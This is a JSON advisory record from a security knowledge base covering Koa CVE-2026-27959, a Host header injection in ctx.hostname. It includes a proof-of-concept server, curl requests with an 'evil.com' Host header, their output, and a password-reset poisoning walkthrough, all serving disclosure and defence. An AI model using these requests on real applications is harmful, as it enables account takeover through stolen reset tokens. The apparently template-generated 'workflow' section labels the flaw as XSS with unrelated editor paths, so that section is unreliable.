文件
websafe-kb/08-threat-intel/registry/advisories/koa--CVE-2026-27959.json

181 行
15 KiB
JSON

{
"canonical_id": "koa--CVE-2026-27959",
"system_id": "koa",
"display_name": "Koa",
"category": "frameworks",
"advisory_mode": "core",
"title": "Koa has Host Header Injection via ctx.hostname",
"summary": "## Summary\n\nKoa's `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol (e.g., `evil.com:fake@legitimate.com`) is received, `ctx.hostname` returns `evil.com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.\n\n## Details\n\nThe vulnerability exists in Koa's hostname getter in `lib/request.js`:\n\n```javascript\n// Koa 2.16.1 - lib/request.js\nget hostname() {\n const host = this.host;\n if (!host) return '';\n if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal\n return host.split(':', 1)[0];\n}\n```\n\nThe `host` getter retrieves the raw header value with HTTP/2 and proxy support:\n\n```javascript\n// Koa 2.16.1 - lib/request.js\nget host() {\n const proxy = this.app.proxy;\n let host = proxy && this.get('X-Forwarded-Host');\n if (!host) {\n if (this.req.httpVersionMajor >= 2) host = this.get(':authority');\n if (!host) host = this.get('Host');\n }\n if (!host) return '';\n return host.split(',')[0].trim();\n}\n```\n\n### The Problem\n\nThe parsing logic simply splits on the first `:` and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.\n\n**RFC 3986 Section 3.2.2** defines the host component as:\n\n```\nhost = IP-literal / IPv4address / reg-name\nreg-name = *( unreserved / pct-encoded / sub-delims )\nunreserved = ALPHA / DIGIT / \"-\" / \".\" / \"_\" / \"~\"\nsub-delims = \"!\" / \"$\" / \"&\" / \"'\" / \"(\" / \")\" / \"*\" / \"+\" / \",\" / \";\" / \"=\"\n```\n\nThe `@` character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.\n\n### Attack Vector\n\nWhen an attacker sends:\n\n```\nHost: evil.com:fake@legitimate.com:3000\n```\n\nKoa parses this as:\n\n| API | Returns | Notes |\n|-----|---------|-------|\n| `ctx.get('Host')` | `\"evil.com:fake@legitimate.com:3000\"` | Raw header |\n| `ctx.hostname` | `\"evil.com\"` | **Attacker-controlled** |\n| `ctx.host` | `\"evil.com:fake@legitimate.com:3000\"` | Raw header value |\n| `ctx.origin` | `\"http://evil.com:fake@legitimate.com:3000\"` | Protocol + malformed host |\n\nThe `ctx.hostname` API returns `evil.com` because the parser splits on the first `:` without understanding that `evil.com:fake@legitimate.com` is a malformed authority component where `evil.com:fake` would be interpreted as userinfo by a proper URI parser.\n\n### Additional Concern: `ctx.origin`\n\nKoa's `ctx.origin` property concatenates protocol and host without validation:\n\n```javascript\n// lib/request.js\nget origin() {\n return `${this.protocol}://${this.host}`;\n}\n```\n\nApplications using `ctx.origin` for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.\n\n### HTTP/2 Consideration\n\nKoa explicitly checks `httpVersionMajor >= 2` to read the `:authority` pseudo-header:\n\n```javascript\nif (this.req.httpVersionMajor >= 2) host = this.get(':authority');\n```\n\nThe same vulnerability applies - malformed `:authority` values containing userinfo would be accepted and parsed identically.\n\n## PoC\n\n### Setup\n\n```javascript\n// server.js\nconst Koa = require('koa'); \nconst app = new Koa();\n\n// Simulates password reset URL generation (common vulnerable pattern)\napp.use(async ctx => {\n if (ctx.path === '/forgot-password') {\n const resetToken = 'abc123securtoken';\n const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;\n \n ctx.body = {\n message: 'Password reset link generated',\n resetUrl: resetUrl,\n debug: {\n rawHost: ctx.get('Host'),\n parsedHostname: ctx.hostname,\n origin: ctx.origin,\n protocol: ctx.protocol\n }\n };\n }\n});\n\napp.listen(3000, () => console.log('Server on http://localhost:3000'));\n```\n\n### Exploit\n\n```bash\ncurl -H \"Host: evil.com:fake@localhost:3000\" http://localhost:3000/forgot-password\n```\n\n### Result\n\n```json\n{\n \"message\": \"Password reset link generated\",\n \"resetUrl\": \"http://evil.com/reset?token=abc123securtoken\",\n \"debug\": {\n \"rawHost\": \"evil.com:fake@localhost:3000\",\n \"parsedHostname\": \"evil.com\",\n \"origin\": \"http://evil.com:fake@localhost:3000\",\n \"protocol\": \"http\"\n }\n}\n```\n\nThe password reset URL points to `evil.com` instead of the legitimate server. In a real attack:\n\n1. Attacker requests password reset for victim's email with malicious Host header\n2. Server generates reset link using `ctx.hostname` \u2192 `https://evil.com/reset?token=SECRET`\n3. Victim receives email with poisoned link\n4. Victim clicks link, token is sent to attacker's server\n5. Attacker uses token to reset victim's password\n\n### Additional Test Cases\n\n```bash\n# Basic injection\ncurl -H \"Host: evil.com:x@legitimate.com\" http://localhost:3000/forgot-password\n# Result: hostname = \"evil.com\"\n\n# With port preservation attempt\ncurl -H \"Host: evil.com:443@legitimate.com:3000\" http://localhost:3000/forgot-password \n# Result: hostname = \"evil.com\"\n\n# Unicode/encoded variations\ncurl -H \"Host: evil.com:x%40legitimate.com\" http://localhost:3000/forgot-password\n# Result: hostname = \"evil.com\"\n```\n\n### Deployment Consideration\n\nFor this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:\n\n1. **No reverse proxy** - Application directly exposed to internet\n2. **Misconfigured proxy** - Proxy doesn't override/validate Host header\n3. **Proxy trust enabled** (`app.proxy = true`) - `X-Forwarded-Host` can be injected\n4. **Default virtual host** - Server is the catch-all for unrecognized Host headers\n\n## Impact\n\n### Vulnerability Type\n\n- CWE-20: Improper Input Validation\n- CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax\n\n### Attack Scenarios\n\n**1. Password Reset Poisoning (High Severity)**\n- Attacker hijacks password reset tokens by poisoning reset URLs\n- Requires victim to click link in email\n- Results in account takeover\n\n**2. Email Verification Bypass**\n- Attacker poisons email verification links\n- Can verify attacker-controlled email on victim accounts\n\n**3. OAuth/SSO Callback Manipulation**\n- Applications using `ctx.hostname` for OAuth redirect URIs\n- Attacker redirects OAuth callbacks to malicious server\n- Results in token theft\n\n**4. Web Cache Poisoning**\n- If responses are cached without Host in cache key\n- Poisoned URLs served to all users\n- Persistent XSS/phishing via cached responses\n\n**5. Server-Side Request Forgery (SSRF)**\n- Internal routing decisions based on `ctx.hostname`\n- Attacker manipulates which backend receives requests\n\n### Who Is Impacted\n\n- **Direct impact**: Any Koa application using `ctx.hostname` or `ctx.origin` for URL generation without additional validation\n- **Common patterns**: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations",
"published_at": "2026-02-26T22:42:57Z",
"updated_at": "2026-02-26T23:36:36.294040Z",
"severity": "low",
"cvss_score": 3.1,
"exploit_status": "unknown",
"source_confidence": "official",
"official_source_url": "https://github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm",
"secondary_source_urls": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-27959",
"https://github.com/koajs/koa/commit/55ab9bab044ead4e82c70a30a4f9dc0fc9c1b6df",
"https://github.com/koajs/koa/commit/b76ddc01fdb703e51652b0fd131d16394cadcfeb",
"https://github.com/koajs/koa"
],
"aliases": [
"CVE-2026-27959",
"GHSA-7gcc-r8m5-44qm"
],
"cve_ids": [
"CVE-2026-27959"
],
"ghsa_ids": [
"GHSA-7gcc-r8m5-44qm"
],
"osv_ids": [
"GHSA-7gcc-r8m5-44qm"
],
"affected_versions": [
"introduced=3.0.0, fixed<3.1.2",
"introduced=0, fixed<2.16.4"
],
"fixed_versions": [
"3.1.2",
"2.16.4"
],
"package_name": "koa",
"render_markdown": true,
"case_path": "07-framework-security/frameworks/koa/cases/koa-cve-2026-27959.md",
"secure_code_topics": [
"proxy-trust-boundary",
"ssrf-url-validation",
"xss-output-encoding",
"token-cookie-storage"
],
"status": "generated",
"triage_reasons": [],
"entity_refs": [
{
"entity_id": "koa",
"entity_type": "system",
"relation": "root-system",
"root_system_id": "koa",
"official": true
},
{
"entity_id": "koa--project--koa",
"entity_type": "project",
"relation": "affected-component",
"root_system_id": "koa",
"official": false
}
],
"affected_components": [
{
"name": "koa",
"entity_id": "koa--project--koa",
"scope": "package",
"package_name": "koa",
"official": false
}
],
"affected_version_ranges": [
"introduced=3.0.0, fixed<3.1.2",
"introduced=0, fixed<2.16.4"
],
"fixed_version_ranges": [
"3.1.2",
"2.16.4"
],
"introduced_version": "introduced=0, fixed<2.16.4",
"patched_version": "3.1.2",
"version_evidence_sources": [
"https://github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm",
"https://nvd.nist.gov/vuln/detail/CVE-2026-27959",
"https://github.com/koajs/koa/commit/55ab9bab044ead4e82c70a30a4f9dc0fc9c1b6df",
"https://github.com/koajs/koa/commit/b76ddc01fdb703e51652b0fd131d16394cadcfeb",
"https://github.com/koajs/koa"
],
"advisory_scope": "package",
"version_confidence": "high",
"version_gap_reason": "",
"version_resolution_needed": false,
"workflow": {
"workflow_id": "koa--CVE-2026-27959--workflow",
"vuln_family": "xss",
"entry_surface": "web-ui-render-path",
"preconditions": [
"\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002",
"\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=3.0.0, fixed<3.1.2, introduced=0, fixed<2.16.4",
"\u82e5\u5bf9\u8c61\u5c5e\u4e8e `package`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002"
],
"required_role": "editor-or-admin",
"affected_version_assertion": [
"introduced=3.0.0, fixed<3.1.2",
"introduced=0, fixed<2.16.4"
],
"trigger_vector": "\u5bf9 `xss` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002",
"request_or_ui_path": [
"/admin/editor",
"/preview",
"/rendered-content"
],
"input_shape": "\u53d7\u63a7 HTML/Markdown/\u5bcc\u6587\u672c\u8f93\u5165\uff0c\u89c2\u5bdf\u6e32\u67d3\u4e0a\u4e0b\u6587\u662f\u5426\u5931\u53bb\u7f16\u7801\u6216\u51c0\u5316\u3002",
"expected_unsafe_behavior": "\u8f93\u5165\u5728\u76ee\u6807\u4e0a\u4e0b\u6587\u6267\u884c\u6216\u88ab\u6d4f\u89c8\u5668\u89e3\u91ca\u4e3a\u4e3b\u52a8\u5185\u5bb9\u3002",
"server_evidence_points": [
"\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808",
"\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56"
],
"browser_evidence_points": [
"\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02",
"console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7"
],
"db_or_fs_evidence_points": [
"\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e",
"\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9"
],
"detection_signals": [
"WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66",
"\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6"
],
"mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002",
"patch_validation_steps": [
"\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=3.0.0, fixed<3.1.2, introduced=0, fixed<2.16.4` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `3.1.2`\u3002",
"\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002",
"\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002",
"\u8865\u5145 `xss` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002"
],
"lab_safety_notes": [
"\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002",
"\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002",
"\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002"
],
"review_state": "ready"
},
"verification_status": "triage-manual",
"verification_mode": "synthetic",
"last_verified_at": null,
"last_run_id": null,
"evidence_bundle": null,
"historical_status": null,
"latest_status": null,
"browser_evidence": {
"required": false,
"present": false,
"refs": []
},
"repro_profile_id": "xss-generic",
"artifact_mode": "synthetic",
"blocked_reason": null,
"metadata": {
"source_names": [
"OSV Koa"
],
"source_kinds": [
"osv-batch"
],
"candidate_count": 1,
"entity_ref_count": 2,
"advisory_scope": "package",
"version_confidence": "high",
"workflow_id": "koa--CVE-2026-27959--workflow"
}
}